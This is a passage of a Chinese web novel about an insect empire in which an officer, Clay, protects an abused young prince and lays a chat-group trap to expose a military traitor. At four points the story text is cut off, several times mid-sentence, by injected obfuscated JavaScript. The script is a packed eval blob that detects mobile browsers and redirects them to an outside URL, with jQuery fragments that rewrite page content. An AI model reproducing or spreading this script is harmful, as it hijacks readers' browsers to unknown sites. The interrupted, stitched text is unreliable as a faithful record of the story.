不得不说,坦率的小雄虫很可爱。 果然还是个孩子。 “你累了。”克莱的声音随之放得很轻很轻,缓缓拍了拍他的背,留意不会碰到他的伤口,“需要休息。” 文森似乎还想逞强摇头,但很快他发现自己连摇头的力气都没有。他只是固执地抬了抬眼皮,看着克莱,嘴唇又动了动。 “没事,睡吧。”克莱将文森环在自己颈间的手臂轻轻拿下来,动作极缓极柔,像是在拆解一件需要很小心的精密仪器,然后他扶着少年的肩膀,将他缓缓放倒在床上。 文森在床上不安稳地扭动了一下,他的手指下意识地抓住了克莱的袖口,紧紧地,像是不想让他离开。 克莱没有抽手,他在床沿坐下,另一只手拉过被子,轻轻盖在文森身上。被子拉到胸口的位置时,他停了一下,将边缘掖好。 文森皱起眉,又挣扎着睁开眼眸。碧绿的眼眸努力看向克莱,像是在确认他还在,确认他不会在自己睡着后消失。 “我不走,”克莱望向文森的眼睛,声音低却很安稳,“我就在这里。” 最终不敌倦意的固执少年,手指从克莱的袖口慢慢滑落,落回被面上,指尖微微蜷着,像是在攥住最后一点安心。然后,他的眼睛闭合上,呼吸渐渐变得均匀,但偶尔还会轻轻颤一下睫毛,像是在做一个很温暖的梦,又像是还在确认身边那个温度是否还在。 克莱没有动,已经收拾完浴室的机器管家安静地立在一侧。 如同信守承诺般,克莱一直坐在床沿没有离开,垂眸看向文森的睡颜—— 他从不觉得那几块黑斑难看,他想起了第一次见到文森时,那孩子脸上天真灿烂的笑。 克莱心底忍不住泛起一丝甜,然后他轻轻抬手,将被角又往上拉了拉,探了探文森的额头,不烫应该没有发烧,只是累了。 意识中的光脑,声音也不由轻了起来:“虫主阁下,您有一条来自里昂特元帅的紧急加密视频通讯请求……” 看来元帅那边已经收到消息,自己理应就今天发生的事,给父亲一个解释。 克莱站起身,动作很轻,离开前忍不住回头看了一眼—— 文森蜷在被子里,缩成小小的一团,红卷发散在枕上,眉心微微蹙着,像在做了不太好的梦。 克莱不由犹豫了一瞬,他忍不住抬手,揉了揉少年雄虫暗红的卷发,现在,多乖呀。 可是,很抱歉,不能一直陪着你,之前只是一贯哄孩子的话。但我向你保证,我的殿下,我会尽我所能,不会让你以后再做噩梦了。 在心底默默如是说的克莱起身,他抬眼,黑色的眼眸已经是属于军雌少将的沉稳与清明,理智和果决,经过机器管家身边时,他低声吩咐:“调高房间温度两度,光线调到最暗的夜间模式。他醒了立刻通知我。” “遵命,虫主阁下。”机器管家的光屏上亮起一个微笑表情。 克莱走出房间,不由下意识地抬手碰了碰自己的颈侧。 “虫主阁下,那里是契约的标记——”光脑立马出声道。 克莱想起契约时,那股忽然出现又忽然消失的强大精神力,不由恍然察觉在缔结契约的过程中,一直和他精神相连的光脑,未免过于安静了…… “刚才,你没发现什么异常吗?”克莱一边向办公的隔间走去,一边在意识里问道。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17478961|201638||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 啊……啊……没,没什么……”光脑欲言又止地太过明显,就像被什么极大地威胁恐吓到一般,然后又急忙说道,“虫主阁下,元帅的视频电话打过来了——” “接进来吧。”说着,克莱迈步踏入了隔间,光屏立马出现在他面前,上面显出养父里昂特元帅不怒自威,却十分不悦的一张脸,墨绿的眼眸按下怒意。 恍然抬眸间,克莱竟觉得文森的绿眸和元帅有几分相似。 呵,该是错觉罢了。 绿眸虫族这一脉是大族,听说已故圣雌君维克多尔,也就是三皇子圣尤金的亲生雌父也是绿眸一族,但他和里昂特元帅并无过密的亲属关系。 “告诉我,克莱,你为什么要做出这样的决定?”里昂特元帅愤怒,克莱完全理解,他的所作所为在一百只虫眼中,有一百零一个都觉得,他是在自毁前程。 “元帅阁下,请原谅我任性的自作主张,让您分心和担忧,是我的过失——”克莱谦逊诚恳,立正站好的模样,让里昂特元帅的怒气很快就压下去一半。 但元帅不是那么好糊弄的,视频内,墨绿的眼眸瞪着光屏外的养子,里昂特元帅轻哼了一声:“少说废话,我要的是一个合理的解释,克莱·埃弗洛!” 在出皇廷前,克莱就已经想好了说辞,现在他更是不慌不忙地说道:“这对一个普通的雌虫而言,确实是件坏事。” “但对我而言——元帅阁下,这是另一种意义上的自保。您当年宁愿冒着和整个圣律院为敌的风险,将我护下抚养,送我去军校,之后待我成年,又不断为我寻找背景强大的雄虫相亲作为靠山,一直是对我的保护,我的雄父就不敢轻举妄动,这些我都是知道的。” 属于克莱的秘密,就如同他的真正的身世一般,鲜有虫知。 “所以,元帅阁下,父亲”——克莱极少这般称呼里昂特元帅。 “有什么比皇廷的靠山更稳固,只要我选择成为F级雄虫皇子的监护者,那就是对虫帝圣座最在乎的《圣约莫新恒典》忠实拥护,监护契约被圣法典保护,虫帝圣座亲许为证,最起码三年内,我是安全的。” 克莱知道,自己的养父最讨厌什么——虫辣椒籽、沙聂虫族,以及自己那个混蛋雄父。 可惜,下一刻,视频内的里昂特元帅微微眯起眼,说道:“你要是愿意成为三皇子的雌君,更能得到皇廷相护。” 不上套呢,没事,换个策略—— 克莱不由叹了口气,如同摊牌一般,望向自己的养父,轻声说道:“或许,我就是单纯的不想嫁给任何一只雄虫呢?!” 13. 第十三章 设套 “克莱——”身为圣聂特帝国三军最高统帅的里昂特元帅,此时此刻在光屏中,宛若一位最寻常不过的父亲,他皱起眉,摇了摇头,“你为什么会这么想——” 克莱在元帅的欲言又止中明白,里昂特元帅是想起了曾经在克莱七岁,也就是他的雌父格特刚去世不久时,幼小的他被强行带入圣律院发生的事…… “那个混蛋根本不配做雄父!”里昂特元帅低声咒骂了一句,然后抬起墨绿色的眼眸,对克莱放缓了语气,“但不是所有的雄虫,都是混蛋,克莱。” 克莱十分赞同,自己的雄父是个混蛋的说法,但其实七岁时发生的那件事,并没有对他造成什么实质性的伤害,甚至可以说一点心理影响也没有留下。 因为没有什么能比前世的那个七岁,被一刀下去后,从小就了结凡尘欲-念,也顺带在冷眼嘲讽谩骂中稀释了尊严,更让他印象深刻的了。 老太监曾经和他说过,太监做久了,一般会往两个不同的道上走,一个是天天疯魔似的就想着那档子事,可得又得不到,心里憋得变态,另一个是完全冷淡得胜过和尚,从此和那些情爱欲-念是一点也不想沾边——还是小太监时,曾经的年福就暗暗下决心,他宁愿当和尚,也不要憋成变态。 久了,在心里,也就寡淡了。 现在的克莱,更是如此,那句不愿雌伏于任何一只雄虫,绝对出于真心。 “父亲,和任何虫都没有关系,请允许我,私心地只愿将一切都献给军团的胜利和帝国的荣耀。”克莱立正,对里昂特元帅行了一个标准的军礼,他看到元帅眼中的摇摆和触动,轻声接着说道,“就和您一样。” 里昂特元帅已经百岁有余,但他至今未婚,一直以来只有克莱一个养子。 “你小子呀——我又不是什么好榜样!”里昂特元帅垂眸,叹了一口气,颇有些无奈又语重心长道,“你这样下去,我怎么向格特交代?就再给你三年时间……对了,四皇子殿下你打算怎么安置?” 克莱不由想起隔壁放下戒备的小雄虫可爱的睡脸,他轻轻弯了弯嘴角,简单地向养父汇报了文森的情况,当然关于缔结契约时那股莫名又强大的诡异精神力,他暂时并没有提及,只是说道:“请您放心,我会履行好作为监护者的职责。” 克莱无论只是作为养子,还是军团少将,做事向来妥帖,里昂特元帅没有再多说什么,很快谈话便转入了前线战况和军事要务上。 “缔结了监护契约,这三个月你只能待在主星上,前线压力会更加吃紧。”里昂特元帅揉了揉眉心,光屏那端的影像微微闪烁了一下,像是通讯信号受到了某种干扰,“耶梦德那边似乎是感应到了什么,目前一直没有动作,但沙聂虫族这次进攻明显早有准备,他们在故意拉长战线。” 克莱忍不住蹙眉,冷冷说道:“他们想以此加剧赛弗伦军团作为前锋的消耗,随带施压贝希摩——而若这一次战争失利,责任全在赛弗伦和贝希摩!” 里昂特元帅点了点头,墨绿的眼眸中闪过一丝复杂的情绪:“三大军团间的矛盾已经出现,外忧内患只会给沙聂虫族更多的可乘之机,我们必须在事态发展到不可控前,抓出那个吃里扒外的叛徒!我之前已派虫进一步追踪……追踪耶梦德涉及关键军事要务……军官的所有光脑动态……” 光屏上的画面开始不停闪烁,战场从不会平静,战火在下一刻燃起,再寻常不过—— “有迹象表明,耶梦德的高阶军官……之前,和主星……联系过密。”已经开始模糊的画面上,里昂特元帅深邃的眼眸望向克莱。 这对早已有默契的养父子,一个眼神,克莱便明了——这意味着,耶梦德军团内走漏信息的叛徒或许只是小鱼小虾,而真正背后主导的势力在主星,甚至……在皇廷?!这当然是克莱和里昂特元帅都绝对不愿看到的,但又不得不去深究的最坏情况。 “元帅阁下,我明白您的意思,我在主星会想办法进行调查。”克莱点了点头,已经出现雪花点闪烁的光屏上,里昂特元帅欣慰一笑。 元帅断断续续地声音在光屏上传来:“追踪……光脑信息……需要雄虫的精神力,记得我让你联系首相亚林格的长子吗?亚林格……首相,可以……可以信任……” “明白,我会联系他的。”虽然还没有来得及加上那个本以为是相亲用的ID,但克莱确实有打算在和养父汇报后,尽快与首相长子取得联系,毕竟,他已成为了其他雄虫的监护者,不具有婚嫁的资格,这种情况自然是要和这位疑似相亲对象亲自解释清楚,以示尊重。 断断续续,已经逐渐扭曲的光屏中,里昂特元帅微微开张的口型,似乎是在对克莱说“注意安全”。 您才是,父亲,在前线,一定要保重!克莱望着通讯已然结束,熄灭的光屏,在担忧的同时,陷入沉思—— 耶梦德,主星,叛徒,三大军团的矛盾…… 他需要一个计划,一个能让躲在暗处的那只虫,自己跳出来的计划。 克莱正想着,光脑忽然发出一声轻响:“虫主阁下,是科赛特阁下的视频电话——” “接进来。”克莱坐在办公椅上,浮动光屏重新亮起,科赛特那张带着几分优雅,又不失精致的美丽脸庞出现在画面中。 他靠在某个舱室的墙壁上,身后的背景像是星舰内部的休息区,但他脸上神色暗含着一丝调侃和得意,蝴蝶状的虫纹翩翩如栩,他说:“你知道刚刚卡林若在虫网军团区域网群里说什么吗?他竟然发信息暗讽说,脸部有疤痕,身上有怪味,去皇廷接受嘉奖典礼仪式,是对皇廷和虫帝圣座的不尊重,结果你猜怎样?!” “——完全没有一只虫搭理他,哈哈哈!”科赛特抱臂而笑。 克莱随即拉开另一个光屏,打开军团区域网群 ,果然如科赛特所说,卡林若发了一条阴阳信息, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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科赛特摆了摆手,示意克莱别客气,然后正色道:“学弟,这件事交给我,你就放心吧。贝希摩军团里,我下面有几个信得过的军雌兄弟,虫嘴很严,办事也靠谱。你让德雷克和赫克特做好准备。” 克莱点了点头,和科赛特学长话别后,他立马联系了德雷克和赫克特。 之后,克莱马不停蹄开始处理堆积成山的邮件和军务,元帅和军团的士兵们正在前线奋战,他自然也不能松懈,而就在这时—— 光脑忽然发出轻声提示:“虫主阁下,文森阁下醒了。” 克莱的思绪瞬间收回,他几乎是下意识地转身,大步走向隔间的门—— 门感应开启的那一刻,他愣住了。 文森就站在门外。 少年雄虫赤着脚,踩在微凉的走廊地板上,身上穿着那件宽松的睡衣,领口微微歪向一侧,露出一截苍白的锁骨。他的身后跟着赶过来的机器管家。 那红色卷发睡得乱糟糟的,几缕翘在头顶,几缕贴在脸侧。 他的眼睛还没有完全睁开,半眯着,碧绿的眼眸在已然入夜后昏暗的灯光下,像是蒙了一层幽幽的雾气。 “文森?”克莱垂眸,声音格外温柔,透出关切,“怎么下床了?地上凉——” 他话还没说完,少年雄虫上前一步。 紧紧抱住了他! 14. 第十四章 陪伴 克莱被抱得微微一怔。 相较一般的雄虫更为瘦弱的文森,一头红色卷发刚到克莱的胸前,他的力道不大,但抱得很紧,像是怕松手,眼前的军雌就会忽然消失掉一般。 文森的脸埋在克莱胸口,红卷发蹭到了军服的领口。 克莱垂眸,少年雄虫闷闷地不说话,刚睡醒的温热气息包裹着淡淡的信息素和未开口的依恋,还有契约缔结后,渐渐壮着胆子明正言顺的丝丝责备。 克莱没有推开他,不远处的机器管家安静地退到了一边。 意识中光脑的声音弱弱的,它似乎对于文森不知何时起,产生了一股莫名的隐隐惧怕,它说:“虫主阁下,机器管家说,文森阁下醒来后,就一直找你……” “没事的,文森,我在这里。”克莱温柔地抬手,轻轻拍了拍少年雄虫的背,他细心地避开那些有伤的位置,掌心贴着文森单薄的肩胛骨。 他能感觉怀中文森的身体,连着身后短短一截的尾根都在微微发抖——他可以想象,小雄虫醒来后发现房间里空荡荡的,于是慌慌张张地下了床,连鞋都忘了穿,凭着本能找到了有光亮和声音传出的隔间。 文森没有回答,他把脸往克莱胸口又埋了埋。 克莱任由他抱着,低头看向怀中的少年雄虫,犹豫了一下,还是抬手覆上了文森翘起的红卷发,轻轻揉了揉小殿下那些翘起不逊的发丝。 克莱想起离开前文森在睡梦中皱起的眉,不由轻声问道,“是做噩梦了吗?” 怀中的小雄虫轻轻点了点头,又摇了摇头,最后闷闷地“嗯”了一声。 “能告诉我,是什么梦吗?”克莱说着,已经温柔地扶住文森的臂膀,稍稍将他安抚后拉开一点距离,紧接着一把将他整只虫熟练又利落地抱了起来,让少年赤凉的脚离开了地面。 被抱起的文森难得的顺从,他抬眸,轻轻又应了一声,少年雄虫的声音低低地从克莱胸口传来,透着刚睡醒的沙哑和一丝不易察觉的委屈:“梦到……你不见了。” 克莱微微一顿,抱起文森往主卧走去,声音里带着歉意:“抱歉,我不该离开的。” “嗯,你说过,不走……”文森的手拉住克莱军服的衣角。 别扭地诉说着需要陪伴的请求,这个孩子需要自己——克莱的心,不由柔软起来。 “是我的错,文森——我陪你回去。”克莱这么说着,声音温柔宽厚。 他的移动终端正在无声地闪烁,光脑收到的信息连绵不断,克莱思索着,等会儿就在主卧内沙发上办公。 将文森抱回到床上,少年雄虫的绿眼眸忽闪忽闪地,他坐在床边,床头下放着他一直珍惜的那个竹箱,也就在这时,小雄虫的肚子轻轻发出了咕咕的叫声。 文森脸一红,立马低下头,抱住了自己的肚子,仿佛是在努力让它别出声。 克莱只觉得他可爱,这样的消耗,肯定会饿的。他让机器管家重新去准备了温和型营养液和一小碗温热的虫蜜果粥。 很快,虫蜜果粥就被高效的机器管家送进主卧。 克莱抬手接过虫蜜果粥,用勺子小心翼翼地盛起一口,吹了吹,送到文森嘴边。 文森的脸似乎更红了,他垂在床边光着的脚轻轻摇了摇,目光瞥向别处,轻声道:“我又不是幼虫崽,要喂到嘴边……” 啊,啊,我们小殿下才不是幼虫宝宝——就是时不时会闹别扭。 对于文森总是格外宽容的克莱温和地笑着,又试了试碗的温度,不烫,才将整碗粥递给他,柔声道:“慢慢吃,想吃什么,都可以和我说。” 文森接过粥,先是略显拘谨地试探性闻了闻,又浅浅自己尝了一口,应该是觉得味道不错,碧绿的眼睛亮了亮,然后大口大口地吃起来—— 果然是肚子饿了,少年雄虫的注意力一下子全在可口的虫蜜果粥上。 但端着碗刚吃了几口,仿佛是害怕自己的吃相让克莱嫌弃,咽下了鼓鼓囊囊嘴里的一大口,文森从碗里抬起头,目光怯怯又慌张地转向一旁的克莱。 而克莱只是在一旁温柔地望着他,注意到文森的目光,他很自然地微笑道:“怎么啦?要不要再来一碗?” 文森摇了摇头,他轻轻抿了抿嘴唇,问道:“你……不吃吗?” “没事,我不饿。”克莱摇了摇头。 作为A级军雌,他早就习惯了不觉得饿——他可以一整天不吃东西,只靠少量营养剂维持体力,然后在前线连续作战四十八星时。 军雌的身体比一般虫要强韧是一方面,另一个原因是,曾经是太监时,伺候人的工种,克莱一直就很能挨饿,后来即使不再是人类,克莱对于虫族的食物一直以来确实没什么兴趣,还有很多奇奇怪怪的食材都接受无能,从小时候起,克莱进食就只是一种本能,所以他偏向于日常摄入没有太多口感的营养剂,来维持身体的需求和体能。 但文森的关心,让克莱不由心底一暖。 他低头莞尔一笑,随即听见身旁文森手中的勺子忽然掉进碗里的声音。 但再抬头,少年雄虫已经埋下头,一口一口似乎在加紧努力地吃粥。 果然在皇廷里,文森在吃食上一直被苛待——克莱随即命令光脑多采购一些符合少年虫们口味的食材。 等文森吃完,克莱让机器管家收拾餐具,他便轻声道:“再睡一会儿,嗯?” 文森摇了摇头,他坐在床沿,脸上的黑斑在灯光下变浅了一些,红卷发还有些微微翘起,目光却始终紧紧跟在克莱身上,迟疑片刻,他才缓缓开口道:“你要去忙了吗?” 克莱不免犹豫,他确实还有很多事要做。但文森那双碧绿的眼眸,小心翼翼藏着的全是——能不能不要走,不要走,不要走…… “我就在这里处理。”克莱说着,骨尾自然地垂下,他来到不远处的沙发旁,拉开了一个浮动光屏,抬眸对床边还略显不安的少年雄虫安抚地一笑,“如果不介意的话,陪我办会儿公吧,就是可能会有些无聊。” 接下来,文森一直很安静,克莱很快就专注到了工作上。 军团区域网群里在克莱之前的安排下,早已经热闹了起来,就着卡林若之前的信息,往下已经叠了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17478963|201638||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好几层楼高的讨论。 【贝希摩-林肯尼士官长】:@耶梦德-卡林若少将您说的是今天刚进行的嘉奖仪式吗?虫网上有视频,是发生什么事了吗?//[表情:触角冷垂] 【耶梦德-卡林若少将】:不算什么大事,只是从军团的荣耀出发,提醒有些军团的将领需谨言慎行。 【贝希摩-卡斯特中尉】:@耶梦德-卡林若少将,您指的某些军团,应该不是我们贝希摩吧?还是说,是—— 贝希摩的这两位,是学长科赛特的得力手下,负责把话题挑起来。 接着,自然是克莱安排的赛弗伦军团登场。 【赛弗伦-赫克特上尉】:@贝希摩-卡斯特中尉@耶梦德-卡林若少将,有话请直说。 【耶梦德-卡林若少将】:有些话,还是不要明说比较好,这也是为了你们少将的名誉。 【赛弗伦-德雷克上校】:@耶梦德-卡林若少将,我们赛弗伦军团这次参加皇廷嘉奖仪式的,只有克莱少将一只军雌少将,这话还需要怎么明说?! 很好,火药味出来了,三大军团都下了场,看看接下来—— 【耶梦德-佐恩上校】:@赛弗伦-德雷克上校,注意你对我们少将说话的态度。 【赛弗伦-赫克特上尉】:我们的态度有什么问题?!是卡林若少将有问题吧,含沙射影,攻击克莱少将,这才是事实。 【贝希摩-卡斯特中尉】:但卡林若少将总不会无缘无故针对克莱少将吧…… 【耶梦德-维里斯中尉】:当然不会是无缘无故的,有消息说,克莱少将在嘉奖仪式上当众跟虫帝圣座讨了一只F级雄虫回去养,应该是以此换了什么好处,啧,这里面的事就说不清楚了,谁家好好的军雌少将,会愿意和一只F级雄虫在一起?! 这话一出,立马在军团区域网群里激起千层浪,紧接着群里的讨论之声立马高涨,不过几分钟内,群里就有了近百条讨论。 克莱则盯着【耶梦德-维里斯中尉】的名字,嘴角轻轻弯起。 直觉告诉他,鱼上钩了! 他随即点开了【耶梦德-维里斯中尉】的ID——耶梦德军团,第3中队,中尉维里斯。 第3中队不是卡林若直系的战队,他却忽然站出来为卡林若说话。 而且,克莱和文森的监护之事,这是属于皇廷内部的事宜,卡林若都不敢大肆宣扬,一个中尉,居然消息如此之灵通…… 克莱立马给光脑下达了命令,他需要【耶梦德-维里斯中尉】的所有信息。 光脑得令“收到”,几秒钟后调出军团人员信息库关于【耶梦德-维里斯中尉】的资料: 战斗记录:无大战经历,三次小规模冲突,表现平平 晋升记录:正常年限晋升,无破格 上级评价:“中规中矩,无明显特长” 社交关系:……关联账号中,有一个再明显不过的名字,让克莱的目光停了一瞬,随即皱起眉。 克耶尔少将——他是大皇子圣亚瑟早已定下婚约,并不日将举行婚礼的雌君。 15. 第十五章 线索 克莱盯着光屏上那个名字,神色渐渐凝重。 有关克耶尔少将的信息,光脑可以寻到的并不算多,大多是军团中都已然知晓的一些八卦皮毛——其雄父为圣律院的二等圣戒祭司,雌父曾是皇廷近卫兵的军雌,和大皇子的亲生雌父交情甚笃。 克耶尔少将和大皇子圣亚瑟幼虫时便相识,大皇子成年分化后,两只虫便顺理成章地定下了婚约。 而谈及他,就绕不开大皇子圣亚瑟殿下。 听闻,大皇子殿下出生时只是C级雄虫,一度未受到重视,直到成年期时进阶到了A级,他逐渐接手一些法院和内阁的事务,近几年他虽常驻主星皇廷,但一直行事低调,皇廷的一些重大典礼活动,他露面的次数远远少于风光无限的三皇子圣尤金。 克莱常年在军团前线,对于大皇子圣亚瑟在主星的情况了解不多,但他明白,军内叛徒牵涉到皇子的婚约雌君,必然和皇子少不了关联——这是足于撼动整个皇廷,乃至整个圣聂特帝国的重磅信息。 也因此,他绝不能轻易的下结论。 克莱在另一个光屏上记录下维里斯中尉和克耶尔少将的信息,接着继续在军团区域网群里寻找更可疑的对象。 可群里讨论虽多,但像维里斯中尉这样主动带节奏,抛出重量级信息的却绝无仅有。 维护自家军团少将很正常,但到底涉及到克莱军雌少将个虫的私生活,对旁虫影响不大,军团内网群的军纪犹在,同时今日在皇廷上接受嘉奖的其他少将并没有过多的言论,这毕竟是虫帝圣座亲允,而且克莱在军团中的虫缘向来不错,后续连接有贝希摩,甚至耶梦德军团的将领在群里为他说话,讨论声渐渐也就平息了,一阵扑风追影的八卦和闲聊后,群里的话题也就被岔开了。 克莱一边给学长科赛特发信息,告诉他不必继续控评,让话题自然淹没,一边在各种讨论信息里仔细的翻看——但除了维里斯中尉,在群里具有挑动军团内部矛盾倾向,看起来有疑点的贝希摩军团军雌,更多只是在维护卡林若…… 克莱在光屏上缩小了军团区域网群,点开了维里斯中尉的个虫信息栏,电子照片中是一个平平无奇的中年军雌。 想了想,克莱又点开了其直系上级克耶尔少将的信息栏,少将的公开信息较少,电子照片上,克耶尔少将银发蓝眸,额间有一个蜻蜓状的虫纹,是一只十分英气俊美的年轻军雌。 克莱若有所思。 直觉告诉他,在意是合理的,克莱有他曾经作为一个宫廷小太监,于皇宫里摸爬滚打存活下来练就的敏锐;但军雌的理智在质疑,目前并没有任何确切的证据——通敌叛国是重罪,不可能仅凭一个中尉在群里随口说的几句话,就牵扯出一个皇子。 维里斯中尉确实可疑,但这不一定就与克耶尔少将有关。大皇子殿下和克耶尔少将,今年年底即将正式举行婚礼,完全没有通敌的动机…… 关键,还是在维里斯中尉身上。 克莱轻轻抿住了唇,顿了顿,他从光屏上抬起头,望向不远处床上—— 不由笑了。 只见床上的少年雄虫整只缩在被子里,如同一只大粽子般,趴在离他更近的床脚边,被子罩在头上,还带着丝丝稚气的脸被遮住一大半,只剩一双大大的绿眼睛,忽闪忽闪认真地看着他。 “不困吗?”克莱说着,让光脑将房间内的光线又调低了一档,入夜后,房里柔和淡黄的光透出缕缕温馨。 床上拱起来的被子里,小雄虫摇了摇头,他把被子紧了紧,目光始终粘在克莱的身上。 被子里,闷闷地声音传来:“我等你。” 倔强的孩子,克莱明明看出他的倦意,在被子里轻轻打着哈欠。 克莱笑着轻轻揉了揉自己的眉心,从沙发起身走到床边,文森在被子里,随着克莱走近,他从床尾钻回到床头,但还在缩在被子里,只露出一双眼睛,亮晶晶的,隐隐多了一抹开心和期待。 “想不想听故事?”克莱抬了抬手,机器管家立马搬了一把椅子到床边,克莱坐下,浮动光屏随之出现他在身旁。 文森悄然向克莱身边挪了挪,又挪了挪,他轻轻点了点头,整个被子一起动了动。 克莱将光屏拉了过来,他本想关掉现有的界面,然后在虫网上搜索一两个比较受欢迎的幼虫睡前小故事,但就在他关掉克耶尔少将的信息栏前,他注意到已经靠在他身旁从被子里露出头的文森,正目光直直地盯着光屏上信息栏里,克耶尔少将的电子照片—— 少年雄虫的神色,在这一刻有种说不出的古怪。 敏锐的克莱微微一顿,准备关掉界面的手指停了下来,他不由望向身旁的文森,柔声问道:“怎么了?” 文森的嘴角不太自然地动了动,他碧绿的眼眸蓦然一沉。 “你——见过他吗?”克莱不免疑惑,按理说克耶尔少将常年在耶梦德军团,和从未出过皇廷的四皇子殿下应该没有交集才对——克耶尔少将和大皇子殿下的订婚宴都是在圣律院,而非皇廷,低调举行的。 文森目光藏下一丝不易察觉地冷,少年雄虫的整个身子又往床边克莱的身上努力靠了靠,仿佛只有在克莱身旁,他才能感到安全。 缓缓地,文森点了点头,开口道:“……每隔几年,他就会来皇廷一次,找大皇兄。” 克莱心里一顿,他和克耶尔少将不在同一军团,也几乎没有私交,他自然无法知晓平级少将的行踪,他所拥有权限的光脑也无法查询,更不能武断判断克耶尔少将去往皇廷是否合乎军团规定和皇廷礼仪。 ——另一层来看,作为大皇子已有婚约的雌君,来皇廷探望大皇子殿下,似乎也在情理之中。 但接着,文森的话,让克莱无法继续淡定。 他说:“几天前,他刚来过。” 几天前?!克莱不由神色一凝,侧脸看向文森,怎么可能?!赛弗伦军团和贝希摩军团正在前线力战沙聂虫族,耶梦德军团全员暂且作为后备援军,在离前线矿产区不远 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17478964|201638||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的暗星驻扎,随后候命准备支援,作为耶梦德军团的少将,不在受召进行嘉奖的名单之列,理应受军令候命,怎么可能无缘无故回到主星?! 这是严重违纪,或者就不止是违纪这么简单! “有迹象表明,耶梦德的高阶军官……之前,和主星……联系过密……”元帅的话犹然在耳,难道—— “你,确定吗?”克莱皱起眉,他并不觉得文森会无端撒这种谎,但本能的谨慎,让他在进行重大判断前,不免迟疑。 “哼,他每次来,都会和大皇兄一起抓住我,带我进一个很黑的房间。”文森说这话时,声音里没有一丝温度,他的脸隐靠在克莱宽厚肩膀后的阴影里,在昏暗的灯光下碧绿的眼眸霍然如同幽暗的深潭,但他藏得很好,只是一瞬,便已是少年般的盈盈可怜,他说,“房间很黑,里面还有一个四只眼睛的虫……他们会一起按住我,割开我的手或是脚,直到血流满一整碗。” “所以,我想,我不会弄错的。”文森扬起脸,轻轻一笑,少年雄虫的眼眸里,是一派别样的天真。 “他们对你做了什么?!”克莱的声音徒然震怒—— 几年前,再几年前,他真的只是个孩子呀?!生在皇廷没有成为高等级的雄虫,又不是他的错?!凭什么,被这样欺负?! 但下一秒,克莱就强压制内心的怒火和痛楚,努力对着文森,露出一个不算微笑的微笑。 “我能,看看你的手吗?”克莱深吸了一口气,稳定了情绪,他对着文森放柔了声音。 少年雄虫迟疑了一会儿,伸出了瘦弱的双手,克莱温柔地握住他的手,低眸看去,两只手的手腕处,分别都好几道割痕旧伤,右手腕内侧的一道明显是一道刚刚愈合的伤口,文森身上的旧伤太多太多,以致克莱在浴室那阵,都没有留意到他手腕和脚腕处的伤痕。 “疼吗?”克莱的手心,轻轻碰触到他的手心。 “不疼……”文森的眼眸映出克莱低头,轻轻为他吹伤口的心痛,少年雄虫的声音低了下去,“你在,就不疼了。” 不能这样放过他们——此刻,克莱的眼中,全是文森无辜受的伤,他在心里默默地记下,有些话他不会对自己的殿下说,但有些事他是真的会去做,这是从前世就保留下来的性格底色。 四只眼睛的虫——沙聂虫族,这是沙聂虫族再明显不过的特征。 克莱在脑海中,将过往的蛛丝马迹窜连了起来,如此便目标明确,接着就是深入调查,拿到切实的证据,然后找准时机…… “今晚,你能……陪我睡吗?”文森注意着克莱神色的变化,他轻轻靠在克莱的肩窝处,声音弱弱地。 他顿了顿,目光又别扭地低了下去,如同自言自语:“我不喜欢呆在黑房间里,只是不喜欢,不是害怕……” 曾经被强-行关进了黑屋子放血,会怕黑,会不想独自一虫睡觉,这很正常。 克莱轻轻拥住了他,然后温柔地点了点头:“好,我陪你。” 16. 第十六章 虫纹 文森的眼睛瞬间亮了,但又立马将身子往被子里缩了缩,欲盖弥彰掩饰着溢于言表的开心。 克莱忍不住疼惜地抬手,揉了揉他露在被子外红色卷发—— 明明是个可爱的孩子,不应该受到这么多无端的伤害。 “我先去洗漱。”克莱正起身,光脑这边在意识里传来消息:“虫主阁下,科赛特阁下给您留了言,说让您有空尽快联系他,他有重要的信息要告诉你,有卡林若少将和三皇子殿下有关……” “知道了。”克莱在意识里淡然,大致也猜到,应该是卡林若和三皇子殿下圣尤金的婚事定下来了。 克莱回来时,换了一身简约的深色睡衣,军团内统一的就寝睡衣样式,透出军队内一板一眼的气息,骨尾还冒着沐浴后丝丝热气。床上的少年雄虫明明开始犯困,眼皮坠坠下沉,还是强撑着等他回来。 文森特意把靠外的一半床位空了出来,留给克莱,还留了一半被子—— 克莱不由笑了,他帮文森将被子轻轻拉过去盖好,就着睡衣只是斜靠在床边,少年雄虫却随即悄悄地往克莱的方向挪了半寸。 